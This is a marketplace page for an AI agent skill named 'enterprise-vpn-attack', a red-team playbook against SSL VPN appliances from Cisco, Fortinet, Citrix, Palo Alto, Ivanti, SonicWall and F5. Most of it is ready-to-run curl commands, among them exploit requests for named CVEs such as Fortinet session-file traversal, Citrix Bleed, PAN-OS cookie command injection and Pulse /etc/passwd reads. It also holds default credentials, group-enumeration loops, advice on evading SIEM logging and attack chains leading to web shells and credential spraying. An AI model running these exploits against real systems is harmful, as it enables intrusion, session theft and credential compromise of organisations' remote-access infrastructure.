Skip to main content Home Creators uphiago recon-skills enterprise-vpn-attack
enterprise-vpn-attack External SSL VPN / remote-access appliance attack matrix — Cisco ASA/AnyConnect, Fortinet FortiGate/FortiOS, Citrix NetScaler/ADC, Palo Alto GlobalProtect, Pulse Secure / Ivanti Connect Secure, SonicWall, F5 Big-IP. Covers version fingerprinting, CVE matrix (2018-2026), AAA backend identification, default credentials, configuration-disclosure paths, pre-auth RCE/SSRF/path-traversal exploits where applicable. Built from authorized-engagement Cisco ASA testing plus 2024-2026 enterprise VPN CVE landscape. Use whenever the target's perimeter exposes any SSL VPN appliance or remote-access gateway — these are the most common initial-access points in 2024-2026 actor TTPs.
Jump to install Skills Marketplace Discover and explore AI skills built by the community.
Install with Codex or Claude Copy this prompt, paste it into Codex, Claude, or another assistant, and let it review the skill page and install it for you.
Show prompt details A direct command skips the review prompt. Inspect the source before running it.
npx skills add https://github.com/uphiago/recon-skills --skill enterprise-vpn-attackThe command stays on one line. Scroll horizontally to inspect it before copying.
Prefer a local copy? Download the files currently available to SkillsMP.
Download Zip Downloading... More from this repository Related occupations SOC
Based on SOC occupation classification
name enterprise-vpn-attack description External SSL VPN / remote-access appliance attack matrix — Cisco ASA/AnyConnect, Fortinet FortiGate/FortiOS, Citrix NetScaler/ADC, Palo Alto GlobalProtect, Pulse Secure / Ivanti Connect Secure, SonicWall, F5 Big-IP. Covers version fingerprinting, CVE matrix (2018-2026), AAA backend identification, default credentials, configuration-disclosure paths, pre-auth RCE/SSRF/path-traversal exploits where applicable. Built from authorized-engagement Cisco ASA testing plus 2024-2026 enterprise VPN CVE landscape. Use whenever the target's perimeter exposes any SSL VPN appliance or remote-access gateway — these are the most common initial-access points in 2024-2026 actor TTPs. version 1.1.0 revision_date "2026-07-25T00:00:00.000Z" license MIT category redteam tags ["vpn","enterprise","attack","redteam"]
When to use this skill
Trigger when recon surfaces:
*.<client>.example/+CSCOE+/logon.html or similar +CSCOE+ paths → Cisco ASA / AnyConnectintranet.* / vpn.* / connect.* / webvpn.* / wc.* / remote.* subdomainsPort 443 returning login pages with Server: Apache or banner like "AnyConnect", "FortiGate", "NetScaler", "GlobalProtect", "Pulse", "Ivanti"
TCP 8443 / 4443 / 10443 / 8888 (common VPN web-mgmt ports)
HTTP responses with Set-Cookie: webvpn= (Cisco) / SVPNCOOKIE= (Fortinet) / NSC_AAA= (Citrix) / DSAuthSession= (Pulse) / BIGipServer* (F5)
DO NOT use for:
Internal lateral-movement post-foothold (out of scope per user's boundary)
VPN client-side bugs (different attack class)
IPsec / L2TP / OpenVPN (different protocols, not SSL VPN web stack)
Vendor identification (fingerprinting)
Cisco ASA / AnyConnect
curl --max-time 30 --connect-timeout 10 -skI 'https://target/+CSCOE+/logon.html' | head -10
ASA version: not banner-disclosed in modern builds; need to derive from JS file paths or test specific paths.
curl --max-time 30 --connect-timeout 10 -sk 'https://target/+CSCOE+/sdesktop/scan-finalize?path=test'
curl --max-time 30 --connect-timeout 10 -sk 'https://target/+CSCOE+/saml/sp/metadata'
curl --max-time 30 --connect-timeout 10 -sk 'https://target/CSCOSSLC/config-auth'
Fortinet FortiGate / FortiOS
curl --max-time 30 --connect-timeout 10 -skI 'https://target/remote/login' | head
Version: /remote/info sometimes leaks (older), or /login?username= 302 response
Citrix NetScaler / ADC / Gateway curl --max-time 30 --connect-timeout 10 -skI 'https://target/' | head -10
curl --max-time 30 --connect-timeout 10 -sk 'https://target/vpn/index.html' | grep -oE 'NetScaler/[0-9.]+|NS[0-9.]+'
curl --max-time 30 --connect-timeout 10 -sk 'https://target/menu/neo'
Palo Alto GlobalProtect curl --max-time 30 --connect-timeout 10 -skI 'https://target/global-protect/login.esp' | head -10
curl --max-time 30 --connect-timeout 10 -sk 'https://target/global-protect/login.esp' | grep -oE 'GlobalProtect Portal[\s\S]{0,200}'
curl --max-time 30 --connect-timeout 10 -sk 'https://target/global-protect/login.esp' | grep -oE 'panui-[0-9.]+'
Pulse Secure / Ivanti Connect Secure curl --max-time 30 --connect-timeout 10 -skI 'https://target/dana-na/auth/url_default/welcome.cgi' | head -10
curl --max-time 30 --connect-timeout 10 -sk 'https://target/dana-na/auth/url_default/welcome.cgi' | grep -oE 'Pulse Connect Secure[^<]*|ivanti[^<]*[0-9.]+'
SonicWall NetExtender / SMA curl --max-time 30 --connect-timeout 10 -skI 'https://target/cgi-bin/welcome' | head -10
F5 Big-IP / APM curl --max-time 30 --connect-timeout 10 -skI 'https://target/my.policy' | head -10
CVE matrix — pre-auth or auth-bypass (2018-2026)
Cisco ASA / AnyConnect CVE Affects Type Test CVE-2018-0296 ASA pre-9.x specific builds Path traversal — info disclosure (sessions, config) GET /+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.luaCVE-2020-3452 ASA, FTD before specific patch levels Path traversal — file read GET /+CSCOE+/files/file_name.html?Filename=Microsoft.Manifest+/+CSCOT+/lua/test.lua and variationsCVE-2023-20269 ASA, FTD specific Auth bypass on SSL VPN Brute-force a group + valid creds combo against /+webvpn+/index.html CVE-2024-20481 RAVPN DoS via crafted handshake SKIP in red team — disruptive
curl --max-time 30 --connect-timeout 10 -sk 'https://target/+CSCOE+/files/file_name.html?Filename=Microsoft.Manifest+/+CSCOT+/lua/test.lua' | head -5
curl --max-time 30 --connect-timeout 10 -sk 'https://target/+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua' | head -20
Fortinet FortiGate / FortiOS CVE Affects Type Test CVE-2018-13379 FortiOS 5.4-6.0 Path traversal — sslvpn_websession file read GET /remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websessionCVE-2022-42475 FortiOS 7.x specific Heap overflow — pre-auth RCE Complex exploit; test with nuclei template CVE-2022-42475 CVE-2023-27997 (XORtigate)FortiOS various Heap overflow — pre-auth RCE Public PoCs exist; nuclei template available CVE-2024-21762 FortiOS 6.x-7.x OOB write — pre-auth RCE Public PoC; nuclei template CVE-2024-21762 CVE-2024-55591 FortiOS 7.0-7.4 Auth bypass on FortiOS Node.js websocket admin interface GET /endpoint on admin-interface port
curl --max-time 30 --connect-timeout 10 -sk --path-as-is 'https://target/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession'
Citrix NetScaler / ADC / Gateway CVE Affects Type Test CVE-2019-19781 (Shitrix)ADC/Gateway 10.5-13.0 specific Path traversal → RCE via XML upload GET /vpn/../vpns/cfg/smb.confCVE-2022-27518 ADC/Gateway with SAML configured Pre-auth RCE Complex; test with nuclei CVE-2023-3519 NetScaler ADC/Gateway 13.0-13.1 specific Pre-auth RCE via crafted HTTP Public PoCs exist CVE-2023-4966 (Citrix Bleed)NetScaler ADC/Gateway 13.0-14.1 Memory disclosure → session token theft POST /oauth/idp/.well-known/openid-configuration with crafted Host header — long Host header triggers memory leak in response
HOST=$(python3 -c "print('A' * 24812)" )
curl --max-time 30 --connect-timeout 10 -sk -X POST -H "Host: $HOST " "https://target/oauth/idp/.well-known/openid-configuration" -o response.txt
curl --max-time 30 --connect-timeout 10 -sk --path-as-is 'https://target/vpn/../vpns/cfg/smb.conf'
Palo Alto GlobalProtect CVE Affects Type Test CVE-2024-3400 PAN-OS 10.2-11.1 with GP enabled Command injection — pre-auth RCE POST /ssl-vpn/login.esp with crafted Cookie header containing SESSID=../../../var/log/pan/test.txt
curl --max-time 30 --connect-timeout 10 -sk -X POST 'https://target/ssl-vpn/login.esp' \
-H 'Cookie: SESSID=../../../var/log/pan/test_$(id)_test.txt' \
--data 'jsessionid=test'
Pulse Secure / Ivanti Connect Secure / Policy Secure CVE Affects Type Test CVE-2019-11510 Pulse Connect Secure 8.x-9.x Arbitrary file read GET /dana-na/../dana/html5acc/guacamole/../../../../../../../etc/passwd?/dana/html5acc/guacamole/CVE-2021-22893 Pulse Connect Secure 9.x Pre-auth RCE Complex multi-step; test with nuclei CVE-2024-21887 Ivanti Connect Secure 9.1-22.6 Command injection on web component POST /api/v1/totp/user-backup-code/ with crafted bodyCVE-2023-46805 Ivanti Connect Secure 9.1-22.6 Auth bypass Combined with 21887 for full chain
curl --max-time 30 --connect-timeout 10 -sk --path-as-is 'https://target/dana-na/../dana/html5acc/guacamole/../../../../../../../etc/passwd?/dana/html5acc/guacamole/'
SonicWall CVE Affects Type Test CVE-2021-20016 SMA 100 series specific firmware SQL injection — pre-auth nuclei template available CVE-2024-40766 SonicOS specific Access-control flaw Specific firmware versions
SAML SP / IdP misconfigurations (always check) Most enterprise VPNs now use SAML for SSO. Check SP metadata:
curl --max-time 30 --connect-timeout 10 -sk 'https://target/+CSCOE+/saml/sp/metadata' | head -50
curl --max-time 30 --connect-timeout 10 -sk 'https://target/remote/saml/metadata' | head -50
curl --max-time 30 --connect-timeout 10 -sk 'https://target/saml/login' | head -30
AuthnRequestsSigned="false" → see hunt-saml for XSW exploitationWantAssertionsSigned="false" → severe; assertion-replay possibleAudience-restriction validation gaps
Public SP signing cert (for replay/forging attacks)
Default credentials (test sparingly — lockout risk) Vendor User Password Notes Cisco ASA admin cisco Default factory; rarely seen in prod Cisco ASA enable_15 cisco Console Fortinet admin (empty) Factory default Citrix NetScaler nsroot nsroot Factory default Citrix NetScaler nsroot (serial number) Newer firmware Palo Alto admin admin Factory default Pulse Secure admin password Factory; CIS-hardened changes this F5 Big-IP root default Factory F5 Big-IP admin admin Common alternate SonicWall admin password Factory
⚠ Most enterprise targets have changed these. Test ≤2 attempts per account to avoid lockout.
Group / tunnel-group enumeration (Cisco-specific) Cisco ASA AAA groups can sometimes be enumerated without auth.
for group in DefaultRAGroup DefaultWEBVPNGroup SSLVPN Employees Contractors Vendors Partners Sales Marketing IT; do
ms=$(curl -sk --max-time 10 --connect-timeout 10 -o /dev/null -w "%{time_total}" \
-X POST "https://target/+webvpn+/index.html" \
-d "username=test&password=test&group_list=$group &tgroup=&Login=Login" )
echo "$group : ${ms} s"
done
AAA backend identification After auth fails, look at error response details:
Pattern in response AAA backend a0=2 (Cisco)Unknown user a0=3 (Cisco)Wrong password a0=4 (Cisco)Login restricted a0=12 (Cisco)Account locked a0=115 (Cisco)Generic auth fail (LDAP/RADIUS/AD layer error) AADSTS in response body Backed by Entra (SAML) Authentication failed via RADIUSRADIUS backend Invalid username or password (generic)LDAP or local DB
If you see SAML/Entra in the flow, pivot to m365-entra-attack skill for cred-spray strategy.
Common probe sequence (5-minute fingerprint) TARGET="vpn.target.com"
curl --max-time 30 --connect-timeout 10 -skI "https://$TARGET /+CSCOE+/logon.html" 2>&1 | head -3
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET /+CSCOE+/saml/sp/metadata" -o /tmp/cisco_saml.xml; ls -la /tmp/cisco_saml.xml
curl --max-time 30 --connect-timeout 10 -sk --path-as-is "https://$TARGET /+CSCOE+/files/file_name.html?Filename=Microsoft.Manifest" -o /tmp/cisco_cve.html
curl --max-time 30 --connect-timeout 10 -skI "https://$TARGET /remote/login" 2>&1 | head -3
curl --max-time 30 --connect-timeout 10 -sk --path-as-is "https://$TARGET /remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession" -o /tmp/forti_cve.txt; head -c 200 /tmp/forti_cve.txt
curl --max-time 30 --connect-timeout 10 -skI "https://$TARGET /" 2>&1 | head -3
curl --max-time 30 --connect-timeout 10 -sk --path-as-is "https://$TARGET /vpn/../vpns/cfg/smb.conf" -o /tmp/citrix_cve.txt; head -c 200 /tmp/citrix_cve.txt
HOST=$(python3 -c "print('A' * 24812)" )
curl --max-time 30 --connect-timeout 10 -sk -X POST -H "Host: $HOST " "https://$TARGET /oauth/idp/.well-known/openid-configuration" -o /tmp/citrix_bleed.txt
wc -c /tmp/citrix_bleed.txt
curl --max-time 30 --connect-timeout 10 -skI "https://$TARGET /global-protect/login.esp" 2>&1 | head -3
curl --max-time 30 --connect-timeout 10 -skI "https://$TARGET /dana-na/auth/url_default/welcome.cgi" 2>&1 | head -3
curl --max-time 30 --connect-timeout 10 -sk --path-as-is "https://$TARGET /dana-na/../dana/html5acc/guacamole/../../../../../../../etc/passwd?/dana/html5acc/guacamole/" -o /tmp/pulse_cve.txt; head -c 200 /tmp/pulse_cve.txt
Nuclei templates for fast triage Nuclei has high-quality templates for most of the above CVEs. Single command sweeps:
nuclei -u https://target/ \
-tags vpn,cisco-asa,fortinet,citrix,palo-alto,pulse-secure,sonicwall,f5 \
-severity high,critical -rl 5
Add -as (auto-scan) for broader vuln coverage but slower.
Operational discipline
Banner-stripped servers (no version disclosure) are good defense-in-depth — record as positive finding even if no CVE foundRate-limit yourself — these appliances often log every request to a SIEM. Patient pace, jittered timing.SAML metadata is anonymous — pull it. It's intel about AAA backend.Don't run pre-auth-RCE PoCs in red team without explicit OK — accidentally bricking a VPN concentrator = catastrophic for the client. Detection-only tests first, then escalate with permission.Document the AAA backend identification — knowing whether ASA uses RADIUS-to-local vs SAML-to-Entra changes downstream attack paths.
Verification Run this self-test to confirm VPN appliance fingerprinting works:
Cisco ASA fingerprint — confirm path detection syntax:
curl --max-time 30 --connect-timeout 10 -skI "https://vpn.example.com/+CSCOE+/logon.html" -o /dev/null -w "HTTP %{http_code}
" 2>/dev/null && echo "(test probe sent)"
2. **Fortinet path probe** — confirm FortiOS path syntax:
```bash
curl --max-time 30 --connect-timeout 10 -skI "https://vpn.example.com/remote/login" -o /dev/null -w "HTTP %{http_code}
" 2>/dev/null && echo "(test probe sent)"
CVE-2020-3452 probe syntax — confirm Cisco file-read path construction:
echo "https://target/+CSCOE+/files/file_name.html?Filename=Microsoft.Manifest+/+CSCOT+/lua/test.lua" | grep -q "+CSCOE+" && echo "PASS: CVE path syntax correct" || echo "FAIL"
CVE-2018-13379 probe syntax — confirm Fortinet path-traversal construction:
echo "/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession" | grep -q "fgt_lang" && echo "PASS: Fortinet path syntax correct" || echo "FAIL"
Citrix Bleed probe syntax — confirm Host header overflow pattern:
echo "POST /oauth/idp/.well-known/openid-configuration" | grep -q "openid-configuration" && echo "PASS: Citrix Bleed endpoint syntax correct" || echo "FAIL"
SAML metadata probe — confirm metadata endpoint syntax:
echo "/+CSCOE+/saml/sp/metadata /remote/saml/metadata" | grep -q "saml" && echo "PASS: SAML metadata paths present" || echo "FAIL"
All 6 tests verify the VPN fingerprinting and CVE detection syntax.
Bridge to neighboring skills
m365-entra-attack — when AAA backend is Entra SAML; cred-spray strategy carries overhunt-saml — XSW / signature-stripping if SAML SP is misconfiguredmid-engagement-ir-detection — appliances generate noisy logs; watch for IPS rules being deployed mid-engagementredteam-mindset — banner-stripped ≠ "not vulnerable"; keep digging via behavioral fingerprints
Pitfalls
Don't conclude "patched" from a 404 on one CVE path — patches deploy unevenly; test 3+ CVEs per vendorDon't trust the version banner alone — appliance vendors often backport fixes without bumping the version stringDon't run heavy nuclei scans without rate-limiting — these appliances are critical infrastructure; use -rl 5 or lowerDon't fingerprint by trying all CVE PoCs immediately — start with non-disruptive HEAD + version-banner probesDon't skip SAML metadata — even when the appliance is patched, SAML SP misconfig is its own attack surfaceDon't run pre-auth RCE PoCs without explicit authorization — accidentally crashing a VPN concentrator is catastrophic. Detection-only tests first.Don't trust HTTP status codes alone — patched appliances may return 200 on known-vulnerable paths but serve different content. Diff the response body against a baseline.Don't assume one vendor — many enterprises run multiple VPN appliances (Cisco + Citrix, Fortinet + Pulse). Fingerprint all before selecting attack paths.Don't ignore the AAA backend — knowing whether the VPN uses RADIUS-to-local vs SAML-to-Entra changes downstream attack paths completely.Lockout risk on default credentials — most enterprise targets have changed factory passwords. Test ≤2 attempts per account.VPN appliances generate noisy logs — every probe is likely logged to SIEM. Jitter timing between requests; don't rapid-fire.
Related Skills & Chains
hunt-rcehunt-rce pre-auth path traversal → arbitrary file write into web-root → request the file → web-shell as root → VPN config + LDAP bind credentials extracted.hunt-saml/saml/metadata reachable → IdP fingerprinted → hunt-saml XSW or comment-injection against IdP → forged assertion → VPN session established without password/MFA.vmware-vcenter-attackvmware-vcenter-attack → datacenter takeover.hunt-ntlm-infohunt-ntlm-info AV_PAIR decode → internal AD forest name → m365-entra-attack Entra spray on synced tenant.mid-engagement-ir-detectionredteam-report-templatemid-engagement-ir-detection → if appliance updates mid-test, capture the patched-state as a SECOND finding → run both findings through triage-validation → package via redteam-report-template with explicit critical-infrastructure framing. 